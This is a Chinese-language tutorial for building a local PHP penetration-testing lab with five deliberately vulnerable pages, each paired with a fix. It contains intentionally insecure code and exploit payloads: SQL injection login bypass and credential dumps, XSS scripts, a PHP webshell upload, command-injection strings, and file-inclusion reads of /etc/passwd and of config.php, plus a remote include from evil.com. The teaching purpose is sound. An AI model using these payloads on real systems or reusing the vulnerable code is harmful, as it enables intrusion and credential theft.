一、前言:为什么需要自己搭建靶场?
在学习网络安全的过程中,理论知识固然重要,但真正的技能提升来自于实践。然而,直接攻击真实网站是违法的,因此我们需要一个安全的实践环境——渗透测试靶场。
本文旨在搭建一个基于 PHP 的 Web 安全靶场,适合初学者入门学习。靶场包含 5 个基础漏洞,每个漏洞都有详细的复现步骤和防护方案。
二、环境准备与搭建
2.1 所需工具
- PHPStudy:集成了 Apache、PHP 和 MySQL 的一键安装包
- 浏览器:Chrome 或 Firefox(推荐使用开发者工具)
- 代码编辑器:VS Code、Notepad++ 或 Sublime Text
2.2 环境搭建步骤
# 1. 下载并安装 PHPStudy
# 2. 启动 Apache 和 MySQL 服务
# 在 PHPStudy 面板中点击启动按钮
# 3. 创建项目目录
# 在 PHPStudy 的 www 目录下创建 web-vuln 文件夹
# C:\phpstudy_pro\WWW\web-vuln\
# 4. 按照以下结构组织文件
三、靶场项目结构
web-vuln/
├── index.php # 主页面
├── config.php # 配置文件
├── init.php # 数据库初始化
├── /database/
│ └── init.sql # 数据库 SQL 文件
├── /vulnerabilities/ # 漏洞页面
│ ├── sql_injection/ # SQL 注入漏洞
│ ├── xss/ # XSS 跨站脚本
│ ├── file_upload/ # 文件上传漏洞
│ ├── command_injection/ # 命令注入漏洞
│ └── file_include/ # 文件包含漏洞
├── /secured/ # 安全防护示例
└── /logs/ # 安全日志
四、五大漏洞详解与复现
4.1 SQL 注入漏洞
4.1.1 漏洞原理
SQL 注入是由于程序没有对用户输入进行充分过滤,导致攻击者可以将恶意 SQL 代码插入到查询语句中,从而执行未经授权的数据库操作。
4.1.2 漏洞代码示例
// vulnerabilities/sql_injection/login.php
<?php
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
$username = $_POST['username'];
$password = $_POST['password'];
// 存在 SQL 注入的代码
$sql = "SELECT * FROM users WHERE username = '$username' AND password = '$password'";
// 直接执行,没有预处理语句
}
?>
4.1.3 漏洞复现步骤
- 访问登录页面:http://localhost/web-vuln/vulnerabilities/sql_injection/login.php
- 使用万能密码绕过登录:
- 用户名输入:
' OR '1'='1 - 密码留空或任意输入
- 点击登录,观察成功绕过
- 用户名输入:
- 使用联合查询获取数据:
- 访问搜索页面:http://localhost/web-vuln/vulnerabilities/sql_injection/search.php
- 输入 payload:
' UNION SELECT 1,username,password,4 FROM users -- - 查看泄露的用户名和密码
4.1.4 安全防护方案
// 使用预处理语句
$stmt = $conn->prepare("SELECT * FROM users WHERE username = ? AND password = ?");
$stmt->bind_param("ss", $username, $password);
$stmt->execute();
4.2 XSS 跨站脚本漏洞
4.2.1 漏洞原理
XSS(Cross-Site Scripting)允许攻击者在受害者浏览器中执行恶意 JavaScript 代码。分为反射型 XSS、存储型 XSS 和 DOM 型 XSS。
4.2.2 反射型 XSS 示例
// vulnerabilities/xss/reflect.php
<?php
$search = $_GET['search'];
// 直接使用用户输入
echo "搜索结果:" . $search;
// 没有进行 HTML 编码
?>
4.2.3 存储型 XSS 示例
// vulnerabilities/xss/store.php
<?php
// 存储评论到数据库(没有过滤)
$comment = $_POST['comment'];
$sql = "INSERT INTO comments (comment) VALUES ('$comment')";
// 从数据库读取并显示(没有编码)
echo $row['comment'];
?>
4.2.4 漏洞复现步骤
- 反射型 XSS:
- 访问:
http://localhost/web-vuln/vulnerabilities/xss/reflect.php - 输入:
<script>alert('XSS 攻击')</script> - 点击搜索,观察弹窗效果
- 访问:
- 存储型 XSS:
- 访问评论页面
- 输入:
<img src=x onerror=alert('存储型 XSS')> - 提交评论,刷新页面观察效果
- 注意:此漏洞会影响所有访问者
4.2.5 安全防护方案
// 输出时进行 HTML 编码
echo htmlspecialchars($user_input, ENT_QUOTES, 'UTF-8');
// 或使用 Content Security Policy (CSP)
header("Content-Security-Policy: default-src 'self'");
4.3 文件上传漏洞
4.3.1 漏洞原理
由于没有对上传文件的类型、扩展名、内容进行验证,攻击者可以上传恶意文件(如 PHP 木马)到服务器,进而执行任意代码。
4.3.2 漏洞代码示例
// vulnerabilities/file_upload/upload.php
<?php
if ($_FILES['file']) {
$file_name = $_FILES['file']['name'];
$file_tmp = $_FILES['file']['tmp_name'];
// 没有任何验证,直接保存
move_uploaded_file($file_tmp, 'uploads/' . $file_name);
}
?>
4.3.3 漏洞复现步骤
- 创建 PHP 木马文件:
- 新建文本文件,重命名为
shell.php - 内容:
<?php phpinfo(); ?>
- 新建文本文件,重命名为
- 上传恶意文件:
- 访问文件上传页面
- 选择
shell.php并上传 - 页面显示上传成功
- 访问上传的文件:http://localhost/web-vuln/vulnerabilities/file_upload/uploads/shell.php
- 观察 PHP 信息页面,证明代码执行成功
4.3.4 安全防护方案
// 1. 验证文件类型
$allowed_types = ['image/jpeg', 'image/png', 'image/gif'];
if (!in_array($_FILES['file']['type'], $allowed_types)) {
die('不允许的文件类型');
}
// 2. 验证文件扩展名
$allowed_ext = ['jpg', 'jpeg', 'png', 'gif'];
$file_ext = strtolower(pathinfo($file_name, PATHINFO_EXTENSION));
if (!in_array($file_ext, $allowed_ext)) {
die('不允许的文件扩展名');
}
// 3. 重命名文件(避免目录遍历)
$new_name = uniqid() . '.' . $file_ext;
// 4. 设置上传目录权限为不可执行
4.4 命令注入漏洞
4.4.1 漏洞原理
应用程序将用户输入直接拼接到系统命令中执行,没有进行适当的过滤和验证,导致攻击者可以执行任意系统命令。
4.4.2 漏洞代码示例
// vulnerabilities/command_injection/ping.php
<?php
$host = $_GET['host']; // 用户可控的输入
$cmd = "ping -n 4 " . $host; // 直接拼接命令
$output = shell_exec($cmd); // 执行系统命令
echo $output;
?>
4.4.3 漏洞复现步骤
- 访问 Ping 测试页面:http://localhost/web-vuln/vulnerabilities/command_injection/ping.php
- 执行简单命令:
- 输入:
127.0.0.1 && echo Hello - 点击测试,观察输出中包含 "Hello"
- 输入:
- 获取系统信息:
- 输入:
127.0.0.1 && whoami - 查看当前运行 PHP 的用户
- 输入:
127.0.0.1 && dir - 查看当前目录文件列表
- 输入:
Windows 系统特殊 payload:
127.0.0.1 && ver # 查看 Windows 版本
127.0.0.1 && ipconfig # 查看网络配置
127.0.0.1 && tasklist # 查看运行进程
127.0.0.1 && net user # 查看系统用户
4.4.4 安全防护方案
// 1. 使用白名单验证
function isValidHost($host) {
return filter_var($host, FILTER_VALIDATE_IP) || preg_match('/^[a-zA-Z0-9.-]+$/', $host);
}
// 2. 使用 escapeshellarg 函数
$safe_host = escapeshellarg($host);
$cmd = "ping -n 4 " . $safe_host;
// 3. 禁用危险函数(php.ini 中)
// disable_functions = shell_exec,exec,system,passthru
4.5 文件包含漏洞
4.5.1 漏洞原理
程序使用用户可控的参数作为文件包含路径,没有进行适当的验证,导致可以包含任意文件,包括系统敏感文件或远程恶意文件。
4.5.2 漏洞代码示例
// vulnerabilities/file_include/include.php
<?php
$page = $_GET['page']; // 用户可控
include($page); // 直接包含,没有验证
?>
4.5.3 漏洞复现步骤
- 基本路径遍历:
- 访问:
?page=../sensitive.txt - 尝试读取上级目录的敏感文件
- 访问:
- 读取系统文件:
- Windows:
?page=../../../../Windows/system.ini - Linux:
?page=../../../../etc/passwd
- Windows:
- 使用 PHP 伪协议:
?page=php://filter/convert.base64-encode/resource=../../config.php- 可以绕过某些限制,读取文件内容
- 远程文件包含(需
allow_url_include=On):?page=http://evil.com/shell.txt
4.5.4 安全防护方案
// 1. 白名单验证
$allowed_pages = ['home.php', 'about.php', 'contact.php'];
if (!in_array($page, $allowed_pages)) {
die('不允许访问的页面');
}
// 2. 使用 basename 防止目录遍历
$page = basename($_GET['page']);
// 3. 禁用危险配置(php.ini)
// allow_url_fopen = Off
// allow_url_include = Off
五、完整靶场代码实现
5.1 数据库初始化脚本
-- database/init.sql
CREATE DATABASE IF NOT EXISTS vuln_db;
USE vuln_db;
CREATE TABLE users (
id INT PRIMARY KEY AUTO_INCREMENT,
username VARCHAR(50) NOT NULL,
password VARCHAR(50) NOT NULL,
email VARCHAR(100)
);
INSERT INTO users (username, password, email) VALUES
('admin', 'admin123', '[email protected]'),
('user1', 'password1', '[email protected]'),
('user2', 'password2', '[email protected]');
CREATE TABLE comments (
id INT AUTO_INCREMENT PRIMARY KEY,
username VARCHAR(50),
comment TEXT,
created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP
);
5.2 配置文件
// config.php
<?php
// 数据库配置
define('DB_HOST', 'localhost');
define('DB_USER', 'root');
define('DB_PASS', 'root');
define('DB_NAME', 'vuln_db');
// 创建数据库连接
function getConnection() {
$conn = mysqli_connect(DB_HOST, DB_USER, DB_PASS, DB_NAME);
if (!$conn) {
die("数据库连接失败:" . mysqli_connect_error());
}
return $conn;
}
// 安全函数:过滤输入
function safe_input($data) {
$data = trim($data);
$data = stripslashes($data);
$data = htmlspecialchars($data, ENT_QUOTES, 'UTF-8');
return $data;
}
?>
5.3 主页面
// index.php
<!DOCTYPE html>
<html>
<head>
<title>网络安全渗透测试靶场</title>
<style>
/* 样式代码 */
</style>
</head>
<body>
<h1>网络安全渗透测试靶场</h1>
<div>
<div>
<h3>1. SQL 注入漏洞</h3>
<p><a href="vulnerabilities/sql_injection/login.php">测试页面</a></p>
</div>
<div>
<h3>2. XSS 跨站脚本</h3>
<p><a href="vulnerabilities/xss/reflect.php">测试页面</a></p>
</div>
<!-- 其他漏洞卡片 -->
</div>
</body>
</html>
六、常见问题与解决方案
问题 1:SQL 注入 payload 不成功
解决方案:
- 检查数据库是否正常初始化
- 查看页面源代码中的 SQL 语句调试信息
尝试不同的 payload:
' OR 1=1 --
' OR '1'='1
UNION SELECT null,@@version,null --
问题 2:命令注入中文乱码
解决方案:
- 修改页面编码为 UTF-8
设置环境变量强制英文输出:
putenv('LANG=en_US.UTF-8');
putenv('LC_ALL=en_US.UTF-8');
使用编码转换函数:
$output = shell_exec($cmd);
$output = mb_convert_encoding($output, 'UTF-8', 'GBK');
问题 3:文件上传被拦截
解决方案:
- 确保上传目录有写入权限
- 尝试不同的文件扩展名绕过
检查 PHP 配置:ini
file_uploads = On
upload_max_filesize = 10M
post_max_size = 10M
问题 4:文件包含失败
解决方案:
- 从简单路径开始:
?page=../test.txt - 检查文件是否存在
查看 PHP 配置:ini
allow_url_fopen = On # 远程文件包含需要开启
allow_url_include = On # 远程文件包含需要开启
七、学习路径建议
第一阶段:基础漏洞理解(1-2 周)
- 搭建环境,熟悉靶场结构
- 逐个复现 5 个基础漏洞
- 理解每个漏洞的原理和危害
第二阶段:深入挖掘(2-3 周)
- 尝试组合攻击
- 编写简单的防护代码
- 使用 Burp Suite 等工具辅助测试
第三阶段:拓展学习(3-4 周)
- 学习更多漏洞类型(CSRF、SSRF、XXE 等)
- 阅读真实漏洞案例
- 参与 CTF 比赛或漏洞众测
八、安全注意事项
- 仅用于学习:本靶场仅供合法的安全学习和研究使用
- 本地环境:建议在本地虚拟机中搭建,不要部署到公网
- 法律意识:未经授权测试他人系统是违法行为
- 责任自负:使用本文提供的信息造成的任何后果,作者不承担责任
九、进阶资源推荐
在线靶场
- DVWA:Damn Vulnerable Web Application
- WebGoat:OWASP 提供的 Java 靶场
- bWAPP:包含 100+ 个漏洞的 PHP 靶场
- HackTheBox:在线渗透测试平台
书籍推荐
- 《Web 安全攻防:渗透测试实战指南》
- 《白帽子讲 Web 安全》
- 《SQL 注入攻击与防御》
工具推荐
- Burp Suite:Web 漏洞扫描和攻击工具
- SQLMap:自动化 SQL 注入工具
- OWASP ZAP:开源 Web 应用安全扫描器
十、总结
通过搭建这个 PHP 渗透测试靶场,我们不仅学习了 5 种常见 Web 漏洞的原理和利用方法,更重要的是理解了如何防范这些攻击。安全是一个持续的过程,攻防技术都在不断演进。
记住:真正的黑客精神不是破坏,而是创造和保护。希望这个靶场能成为你网络安全学习之路的起点,而不是终点。

